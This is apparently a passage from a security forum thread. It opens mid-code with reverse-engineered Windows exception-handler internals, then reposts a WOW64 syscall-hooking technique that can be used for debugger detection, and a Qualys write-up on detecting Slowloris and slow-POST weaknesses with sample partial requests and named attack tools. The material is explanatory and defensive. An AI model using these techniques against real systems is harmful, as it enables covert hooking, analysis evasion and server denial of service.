} RtlCaptureImageExceptionValues(mbi.AllocationBase, &safeseh_table, &table_sz); /* 7C935ED0 */ if (var_10 == NULL || table_sz == 0) { return 1; } return 0; } else if (safeseh_table == (LPVOID) -1 && table_sz == -1) { return 0; } /* 7C9500A6 */ if (table_sz < 0) { RtlInvalidHandlerDetected(handler, safeseh_table, table_sz); return 0; } rel_addr = handler - base_addr; high = table_sz; low = 0; /* 7C9500B1 binary search through SafeSEH table */ do { idx = (high + low) / 2; if (rel_addr < safeseh_table[idx]) { if (idx == 0) { RtlInvalidHandlerDetected(handler, safeseh_table, table_sz); return 0; } high = idx - 1; if (high < low) { RtlInvalidHandlerDetected(handler, safeseh_table, table_sz); return 0; } } else if (rel_addr > safeseh_table[idx]) { low = idx + 1; if (high < low) { RtlInvalidHandlerDetected(handler, safeseh_table, table_sz); return 0; } } else { break; } } while(1); return 1; } /* 7C92AAA4 */ LPVOID RtlLookupFunctionTable(PEXCEPTION_HANDLER handler, DWORD *base_addr, DWORD *table_sz) { MEMORY_BASIC_INFORMATION mbi; LPVOID safeseh_table, base; if (LdrpInLdrInit && RtlTryEnterCriticalSection(&LdrpLoaderLock) == 0) { /* 7C92DD29 3 = MemoryBasicVlmInformation */ if (NtQueryVirtualMemory((HANDLE) -1, handler, 3, &mbi, sizeof(MEMORY_BASIC_INFORMATION), NULL) < 0) { return NULL; } else if (mbi.Type != SEC_IMAGE) { return NULL; } base = mbi.BaseAddress; /* 7C92DD51 */ RtlCaptureImageExceptionValues(base, &safeseh_table, table_sz); } else { if (_TEB != NULL) { /* 7C92AAD9 */ PLDR_MODULE node = _PEB->Ldr->InLoadOrderModuleList.Flink if (_PEB->Ldr != 0 && node != NULL) { while (node != &_PEB->Ldr->InLoadOrderModuleList) { /* 7C92AB00 */ if (handler < node->BaseAddr) { node = node->InLoadOrderModuleList.Flink; continue; } if (handler >= node->BaseAddr + node->SizeOfImage) { node = node->InLoadOrderModuleList.Flink; continue; } /* 7C92AB14 */ base = node->BaseAddr; RtlCaptureImageExceptionValues(base, &safeseh_table, table_sz); if (safeseh_table == NULL && NtDllBase != NULL && (base = RtlNtImageHeader(NtDllBase)) != NULL) { if (header > base && header < base + ((PIMAGE_NT_HEADER) base)->OptionalHeaders.SizeOfImage) { /* 7C950D7D */ RtlCaptureImageExceptionValues(base, &safeseh_table, table_sz); } } break; } } } /* 7C92AB2C */ if (LdrpInLdrInit) { RtlLeaveCriticalSection(&LdrpLoaderLock); } } *base_addr = base; return safeseh_table; } Vectored exception handling: typedef struct _LdrpVectorHandlerList { struct _LdrpVectorHandlerList *Prev; struct _LdrpVectorHandlerList *Next; DWORD Depth; PVECTORED_EXCEPTION_HANDLER VectoredHandler; } VECTORED_HANDLER_LIST, *PVECTORED_HANDLER_LIST; VECTORED_HANDLER_LIST LdrpVectorHandlerList[2]; BOOLEAN RtlpCallVectoredHandlers(PEXCEPTION_RECORD ExceptionRecord, PCONTEXT ContextRecord, BOOL flag) { BOOLEAN ret; DWORD hret; PVECTORED_HANDLER_LIST freeList, head, next; PTEB teb = _TEB; // fs:18h PPEB peb = teb->ProcessEnvironmentBlock; // teb:30h ret = 0; head = &LdrpVectorHandlerList[flag]; /* there are two possible bit flags with CrossProcessFlags that it checks here flag = 0 corresponds to ProcessUsingVEH flag = 1 corresponds to ProcessUsingVCH */ if (peb->CrossProcessFlags & (1 << (flag + 2)) { freeList = NULL; /* get a slim reader/writer lock on the vectorhandlerlist */ RtlAcquireSRWLockExclusive(head); next = head->Next; while (next != head) { next->Depth++; RtlReleaseSRWLockExclusive(head); handler = RtlDecodePointer(next->VectoredHandler); hret = handler(ExceptionRecord); RtlAcquireSRWLockExclusive(head); next->Depth--; if (next->Depth == 0) { next->Next->Prev = next->Prev; next->Prev->Next = next->Next; if (next->Prev == next->Next) { /* this is actuall an atomic bit reset (lock btr) instruction * basically they are clearing either the ProcessUsingVEH or ProcessUsingVCH flags * when the list becomes empty */ peb->CrossProcessFlags &= ~(1 << (flag + 2)); } next->Prev = freeList; freeList = next; } next = next->Prev; if (hret == EXCEPTION_CONTINUE_EXECUTION) { ret = 1; break; } } RtlReleaseSRWLockExclusive(head); while (freeList) { LPVOID p = freeList; freeList = freeList->Prev; RtlFreeHeap(peb->ProcessHeap, 0, p); } } return ret; } Probabil reverse engineering (pe XP) la aceste functii, in cel mai rau caz o implementare particulara.
-
Hooking 32bit System Calls under WOW64 2011-05-16 16:47:49 Author: Georg Wicherski is a x86 Assembly writer and reverse engineer, computer science undergraduate student at RWTH Aachen University and occasional exploit developer. This page consists of his recent updates on his several topics of interest. You might also want to check out his public projects. While hooking code in userland seems to be fairly common for various purposes (such as sandboxing malware by API hooking), hooking system calls is usually not done in userland. As you can get the same information from employing such hooks in kernelland (just after the transition), people usually choose to deploy their hooks there, since they benefit from added security and stability if implemented properly. That being said, there is one application of system call hooking that rightfully belongs into userland: Hooking of 32bit system calls on a native 64bit environment. WOW64 is the emulation / abstraction layer introduced in 64bit Windows to support 32bit applications. There are many details about it that I don't want to cover. However for various reasons (I'll leave it to your creativity to find your own; I found a good one playing together with Tillmann Werner), one might be interested in hooking the 32bit system calls that are issued by a 32bit application running in such an environment. On 32bit Windows XP, there used to be a function pointer within the KUSER_SHARED_DATA page at offset 0x300 that pointed to the symbol ntdll!KiFastSystemCall for any modern machine and was used in any system call wrapper in ntdll to issue a system call: 0:001> u poi(0x7ffe0000+0x300) ntdll!KiFastSystemCall: 7c90e510 8bd4 mov edx,esp 7c90e512 0f34 sysenter ntdll!KiFastSystemCallRet: 7c90e514 c3 ret 7c90e515 8da42400000000 lea esp,[esp] 7c90e51c 8d642400 lea esp,[esp] ntdll!KiIntSystemCall: 7c90e520 8d542408 lea edx,[esp+8] 7c90e524 cd2e int 2Eh 7c90e526 c3 ret Hooking this would not make much sense, since one could gather the same data just right after the sysenter within kernelland. Now fast forward to Windows 7, 64bit with a 32bit process running on WOW64. For the following, I will use the 64bit WinDbg version. On this newer environment, the code executed by a system call wrapper, such as ntdll!ZwCreateFile in this example, does not take any indirection through KUSER_SHARED_DATA. Instead, it calls a function pointer within the TEB: 0:000:x86> u ntdll32!ZwCreateFile ntdll32!ZwCreateFile: 77a80054 b852000000 mov eax,52h 77a80059 33c9 xor ecx,ecx 77a8005b 8d542404 lea edx,[esp+4] 77a8005f 64ff15c0000000 call dword ptr fs:[0C0h] 77a80066 83c404 add esp,4 77a80069 c22c00 ret 2Ch This new field is called WOW32Reserved and points into wow64cpu: +0x0c0 WOW32Reserved : 0x743b2320 0:000:x86> u 743b2320 L1 wow64cpu!X86SwitchTo64BitMode: 743b2320 ea1e273b743300 jmp 0033:743B271E This is in turn a far jmp into the 64bit code segment. The absolute address points into the 64bit part of wow64cpu and sets up the 64bit stack first: 0:000> u 743B271E wow64cpu!CpupReturnFromSimulatedCode: 00000000`743b271e 67448b0424 mov r8d,dword ptr [esp] 00000000`743b2723 458985bc000000 mov dword ptr [r13+0BCh],r8d 00000000`743b272a 4189a5c8000000 mov dword ptr [r13+0C8h],esp 00000000`743b2731 498ba42480140000 mov rsp,qword ptr [r12+1480h] Following this, the code will convert the system call specific parameters and convert them to their 64bit equivalents. The code than transitions to the original kernel code. So the only way to grab the unmodified 32bit system calls (and parameters), before any conversion is being done, is to hook this code. My first idea was to hijack the writable function pointer inside the TEB, but that involves the inconvenience that I need to track threads and modify it for every new thread. Since this function pointer always points to the same location, I decided to go for an inline function hook. In this case, the hook is very simple, since I know that there will be one long enough instruction with fixed length operands. However, we have to take into account SMP systems that might be decoding this instruction while we're writing there, so it is desirable to use a locked write. Unfortunately, there is not enough room around the instruction to write the hook there and overwrite the original instruction with a near jmp (two bytes, can be written atomically with mov if the address is word-aligned or xchg in the general case). Hence we need to write our five bytes with one single locked write. There is (at least?) one instruction on x86 in 32bit mode which can do that: cmpxchg8b. Reading the processor manual, it gets obvious that we can abuse this to do an unconditional write if we just execute two subsequent cmpxchg8b in a row (assuming that no one else is writing there concurrently): [update: As @ange4771 correctly pointed out, cmpxchg8b requires a lock prefix to be atomic] asm("lock cmpxchg8b (%6)\n\tlock cmpxchg8b (%6)" : "=a" (* (DWORD *) origTrampoline), "=d" (* (DWORD *) &origTrampoline;[4]) : "a" (* (DWORD *) trampoline), "d" (* (DWORD *) &trampoline;[4]), "b" (* (DWORD *) trampoline), "c" (* (DWORD *) &trampoline;[4]), "D" (fnX86SwitchTo64BitMode)); One can read out the original jump destination in between those two instructions from edx:eax to hotpatch your hook before it is eventually inserted. This is especially useful when a debugger is attached, as single-stepping results in the syscall trampoline being silently executed (this is great for debugger detection). The hook can then just end in the same jmp far 0x33:?? that was present at X86SwitchTo64BitMode, one just needs to preserve esp and eax. Happy hooking! Sursa: Hooking 32bit System Calls under WOW64
-
Identifying Slow HTTP Attack Vulnerabilities on Web Applications Posted by Sergey Shekyan on 07-Jul-2011 09:09:01 Slow HTTP attacks rely on the fact that the HTTP protocol, by design, requires requests to be completely received by the server before they are processed. If an http request is not complete, or if the transfer rate is very low, the server keeps its resources busy waiting for the rest of the data. If the server keeps too many resources busy, this creates a denial of service. These types of attack are easy to execute because a single machine is able to establish thousands of connections to a server and generate thousands of unfinished HTTP requests in a very short period of time using minimal bandwidth. Due to implementation differences among various HTTP servers, two main attack vectors exist: Slowloris: Slowing down HTTP headers, making the server wait for the final CRLF, which indicates the end of the headers section; Slow POST: Slowing down the HTTP message body, making the server wait until all content arrives according to the Content-Length header; or until the final CRLF arrives, if HTTP 1.1 is being used and no Content-Length was declared. The scary part is that these attacks can just look like requests that are taking a long time, so it's hard to detect and prevent them by using traditional anti-DoS tools. Recent rumors indicate these attacks are happening right now: CIA.gov attacked using slowloris. QualysGuard Web Application Scanner (WAS) uses a number of approaches to detect vulnerability to these attacks. Slowloris Detection To detect a slow headers (a.k.a. Slowloris) attack vulnerability (Qualys ID 150079), WAS opens two connections to the server and requests the base URL provided in the scan configuration. The request sent to the first connection consists of a request line and one single header line but without the final CRLF, similar to the following: GET / HTTP/1.1 CRLF Connection: keep-alive CRLF The request sent to the second connection looks identical to the first one, but WAS sends a follow-up header line some interval later to make the HTTP server think the peer is still alive: Referer: http://www.qualys.com/products/qg_suite/was/ CRLF Currently that interval is approximately 10 seconds plus the average response time during the crawl phase. WAS considers the server platform vulnerable to a slowloris attack if the server closes the second connection more than 10 seconds later than the first one. In that case, the server prolonged its internal timeout value because it perceived the connection to be slow. Using a similar approach, an attacker could occupy a resource (thread or socket) on that server for virtually forever by sending a byte per T – 1 (or any random value less than T), where T is the timeout after which the server would drop the connection. WAS does not report the server to be vulnerable if it keeps both connections open for the same long period of time (more than 2 minutes, for example), as that would be a false positive if the target server were IIS (which has protection against slow header attacks, but is less tolerant of real slow connections). Slow POST Detection To detect a slow POST (a.k.a. Are-You-Dead-Yet) attack vulnerability (QID 150085), WAS opens two other connections, and uses an action URL of a form it discovered during the crawl phase that doesn't require authentication. The request sent to the first connection looks like the following: POST /url_that_accepts_post HTTP/1.1 CRLF Host: host_to_test:port_if_not_default CRLF User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0;) CRLF Connection: close CRLF Referer: http://www.qualys.com/products/qg_suite/was/ CRLF Content-Type: application/x-www-form-urlencoded CRLF Content-Length: 512 CRLF Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 CRLF CRLF foo=bar Similar to the slow headers approach, WAS sends an identical request to the second connection, and then 10 seconds later sends the following (again without the final CRLF): alpha=beta WAS considers the target vulnerable if any of the following conditions are met: The server keeps the second connection open 10 seconds longer than the first one, or The server keeps both connections open for more than 120 seconds, or The server doesn’t close both connections within a 5 minute period (as WAS limits slow tests to 5 minutes only). WAS assumes that if it is possible to either keep the connection open with an unfinished request for longer than 120 seconds or, even better, prolong the unfinished connection by sending a byte per T - 1 (or any random value less than T), then it’s possible to acquire all server sockets or threads within that interval. WAS also performs a supplemental test to determine unhealthy behavior in handling POST requests, by sending a simple POST request to the base URI with a relatively large message body (65543 Kbytes). The content of the body is a random set of ASCII characters, and the content type is set to application/x-www-form-urlencoded. WAS assumes that if the server blindly accepts that request, e.g. responds with 200, then it gives an attacker more opportunity to prolong the slow connection by sending one byte per T - 1. Multiplying 65543 by the T - 1 would give you the length of time an attacker could keep that connection open. QID 150086 is reported on detection of that behavior. Mitigation Tests performed by WAS are passive and as non-intrusive as possible, which minimizes the risk of taking down the server. But because of the possibility of false positives, care should be taken, especially if the HTTP server or IPS (Intrusion Prevention System) is configured to change data processing behavior if a certain number of suspicious requests are detected. If you are interested in active testing, which might take your server down, you can try some active testing using one of these available tools: * slowloris * r-u-dead-yet * OWASP HTTP Post Tool (tests against slow headers as well) Mitigation of slow HTTP attacks is platform specific, so it'd be nice for the community to share mitigation techniques in the comments below. I'll post an update with information on some of those platforms, as well as general recommendations that can be extrapolated to particular platforms. Sursa: https://community.qualys.com/blogs/securitylabs/2011/07/07/identifying-slow-http-attack-vulnerabilities-on-web-applications